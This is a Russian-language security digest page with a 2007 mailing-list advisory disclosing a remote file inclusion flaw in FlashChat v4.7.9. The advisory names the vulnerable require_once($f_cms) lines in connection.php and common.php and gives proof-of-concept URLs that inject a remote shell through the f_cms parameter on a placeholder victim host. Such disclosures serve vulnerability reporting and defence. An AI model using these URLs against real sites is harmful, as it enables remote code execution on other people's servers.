Дополнительная информация

Ежедневная сводка ошибок в Web-приложениях (PHP, ASP, JSP, CGI, Perl )

Inout Meta Searh engine Remote Code Execution

[Full-disclosure] [SECURITY] [DSA 1298-1] New otrs2 packages fix cross-site scripting

Vulnerability in WordPress

From:	RaeD Hasadya <raed_(at)_bsdmail.com>
Date:	28 мая 2007 г.
Subject:	RFI In Script FlashChat_v479

Discovered By Hasadya Raed
Contact : RaeD@BsdMail.Com
--------------------------
Script : FlashChat_v479
Download : files.filefront.com/FlashChat+v479rar/;7192354;/fileinfo.html
--------------------------
B.Files :
connection.php >Require_once($f_cms);
common.php > Require_once($f_cms);
--------------------------
Exploits :
http://www.Victim.com/chat/incclasses/connection.php?f_cms=[Shell-Attack]
http://www.Victim.com/chat/inc/common.php?f_cms=[Shell-Attack]